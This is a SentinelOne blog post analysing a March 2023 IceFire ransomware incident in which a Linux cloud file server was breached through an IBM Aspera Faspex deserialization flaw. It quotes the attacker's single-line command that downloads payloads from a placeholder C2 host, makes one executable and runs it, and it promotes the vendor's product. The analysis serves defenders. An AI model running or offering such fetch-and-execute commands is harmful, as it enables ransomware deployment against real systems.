Anatomy of a Cloud Incident | SentinelOne’s Vigilance vs. IceFire Ransomware

Cloud computing has fundamentally transformed how modern businesses interact with their data. Having enabled enterprises of all sizes and industries with both freedom and flexibility for the past two decades, cloud technology and services are now a key competitive advantage for many.

In the Cloud Computing Statistics Report by G2, numbers show the steady ascend for cloud-first operations. By 2025, 85% of organizations will be cloud-based and hold over 60% of all corporate data in at least one public or private cloud. These mass waves of cloud adoption have also introduced higher financial stakes. In 2022 alone, cloud technologies represented approximately 25% of the $919 billion spent by enterprises globally.

Given these high financial stakes, data processed and stored on cloud infrastructure has been placed squarely in the crosshairs of financially motivated and technically astute threat actors. In this blog post, we dissect a cloud ransomware incident observed in March 2023 by the team behind SentinelOne’s Vigilance MDR service. At the root of this incident was a vulnerable web application running on a public internet-facing Linux server. Through such retrospective analysis and shared findings, organizations can better steel their cloud defenses against such opportunistic attacks.

Publicly Exposed Cloud Infrastructure

In today’s world where remote work is common and businesses work globally over the internet, sharing information digitally has become required. Whether between employees, vendors, partners, or customers, the core of business operations is allowing people to access and share information. Cloud technologies and apps serve these needs by augmenting communication, collaboration, and innovation across user groups. While clouds have benefited operational workflows, they have also opened doors to cloud-based attacks. Three of the most common causes of a cloud security incident are misconfigurations, compromised credentials, and vulnerable web applications.

In this incident, a digital-native business was compromised through a vulnerability in their file sharing server. This business hosted a Linux-based file-sharing server in a public cloud provider, and exposed that file-share to the public internet. It’s important to note that there is nothing inherently bad about this architecture. Customers, third party vendors, and remote employees need to access this file-sharing server, and so it may be required to be publicly accessible. Again, file sharing helps run the business.

Organizations that follow a similar cloud model can proactively reduce the risk of that server. While a cloud security posture management (CSPM) solution would likely issue an alert and flag the server as publicly accessible, SecOps would clear the alert and mark an exception, because this architecture is fully intentional.

Another preventative best practice is assessing all software for vulnerabilities to ensure teams don’t operationalize known-vulnerable software. With over 25,000 new vulnerabilities reported in 2022 though, it’s highly likely that software that was not vulnerable when originally deployed, but became vulnerable afterwards.

Initial Compromise

When cloud resources are publicly accessible, they come under scrutiny from threat actors. This scrutiny is fully automated and runs at internet-scale and machine-speed. As attackers programmatically probe internet-facing resources, they will inevitably find vulnerabilities and, therefore, their victims.

CVE-2022-47986 is a critical-level input deserialization vulnerability affecting popular software applications. In this case, the vulnerability affected the IBM Aspera Faspex file sharing app running on the victim server. The vulnerability allows an attacker to remotely execute arbitrary code on affected systems, resulting in a complete compromise of the system. This remote code execution (RCE) is caused by improper input validation in the affected software, which allows an attacker to inject malicious code into the system. In our example, the CVE exploits a bug in the IBM Aspera Faspex file sharing software handling of YAML deserialization. This is a common scenario showing why input deserialization was once listed in the OWASP Top 10 AppSec risks.

Input deserialization occurs when user-controllable data is deserialized by a website or application. This potentially enables an attacker to manipulate serialized objects in order to pass harmful data into the application code. More damningly, this specific exploit occurs pre-authentication. With all of these factors in combination, a pre-authentication RCE vulnerability for a common application running on a publicly accessible cloud resource, the sum result led to a particularly attractive scenario for attackers. An exploit for this CVE was quickly put in play, and as programmatic threat actors ran their automated internet scans, they inevitably found the victim’s server.

Initial Access

Once identified as the target, the attacker’s first action was to gain access to the vulnerable Linux server. Attackers did so by sending a specially crafted obsolete API call and executing arbitrary code: the attackers ran a reverse shell from the victim host back to attacker-controlled infrastructure.

A reverse shell is a normal shell (i.e., terminal) process on a system, but instead of being controlled locally, it routes its input/output to a TCP socket and out to a remote system. There are legitimate uses of a remote shell, such as for remote maintenance, but it can also be used maliciously by an attacker. It appears that this reverse shell was done automatically, so that the attack could operate at machine speed. This gave the attackers a higher possibility of success in their initial access.

Encryption

With a foothold established on the victim’s Linux file server, the attacker ran the following command:

sh -c rm - f demo iFire &&
wget hxxp[://]C2_ADDRESS/demo &&
wget hxxp[://]C2_ADDRESS/iFire &&
chmod +x demo &&
./demo

The first action is to establish another shell and remove any existing files or directories named “demo” and “iFire” in the current working directory. This is presumably a means of competing with any other threat actors who may have been trying to ransom this vulnerable machine. Next, the attacker downloads “demo” and then “iFire” from infrastructure they (presumably) control. Finally, they make the filename “demo” executable and run it. At this point, file encryption begins. All of this happened at machine speed via a single concatenated command.

Detection & Response | SentinelOne’s View of the Attack

The sophistication of ransomware attacks make them difficult to detect. Evading signatures is trivial as threat actors simply update their malware. Polymorphic ransomware such as BlackMamba uses AI to dynamically modify its own code. Only a Cloud Workload Protection Platform (CWPP) agent can detect malicious activity in real time. SentinelOne’s CWPP, Singularity Cloud Workload Security, has multiple proprietary AI engines onboard, including the Behavioral AI Engine. Here is the view of the cloud ransomware attack from the SentinelOne management console:

The Behavioral AI Engine made the detection, captured the command line arguments, and automatically assembled the attack process tree using patented Storyline technology.

SentinelOne’s CWPP agent has two modes of operation: Detect Mode and Protect Mode. In Protect Mode, the CWPP agent would automatically convict and stop the malicious activity. Through real-time detection of malicious activity and automated machine-speed response, the SentinelOne CWPP agent disrupts attacks before they get started.

In this specific incident, the customer had configured the agent in Detect Mode, which alerted the customer and SentinelOne’s Vigilance team but did not take automated action to mitigate the threat. Even so, the cybersecurity professionals on our Vigilance MDR service immediately stopped the attack, escalated to the customer, and restored normal operations, including recovery of encrypted files.

Takeaways From the IceFire Ransomware Incident

The victim described in this case did nothing wrong as having publicly-facing infrastructure is common. Security architectural considerations such as network microsegmentation and geo-location based access control can augment cloud defense-in-depth. Although configuring the agent for Protect Mode may have been preferable because the vulnerable Linux server was internet-facing, the aforementioned architectural considerations can manage the risk.

Cloud ransomware attacks easily evade signature-based solutions. Agentless CWPP, with point-in-time side scans of a cloud compute instance’s memory, would be less than ideal. Machine-speed attacks demand machine-speed detection, and only a CWPP agent can provide real-time detection and OS process-level forensic visibility.

Although workload image scanning and CSPM are both important parts of a cloud security strategy, these tools alone would not have detected or prevented this Linux ransomware attack. This underscores the vital role of CWPP alongside other cloud control measures to confidently secure production runtime environments.

Ransomware targeting Linux cloud infrastructure is all too real. A 2022 research study from IBM Security reported a 146% increase in Linux ransomware variants. Why is this? Simply stated, threat actors are all too aware of the financial stakes facing enterprises. As more digital businesses depend on the cloud, security teams are leveraging state-of-the-art technology to protect intellectual property and sensitive customer data which reside there.

Conclusion

When it comes to cloud security, no single solution does it all. A robust cloud security technology stack should include a CWPP agent to detect and stop runtime threats, including but not limited to ransomware attacks, such as the one which was the subject of this analysis. For this IceFire Linux ransomware incident, the SentinelOne CWPP agent detected the attack in real-time and provided the forensic visibility needed to inform incident responders, establish root cause, and streamline recovery.

To learn about real-time cloud workload protection from SentinelOne, visit https://www.sentinelone.com/cloud/. There, you can find datasheets, customer case studies, and request to try it in your environment.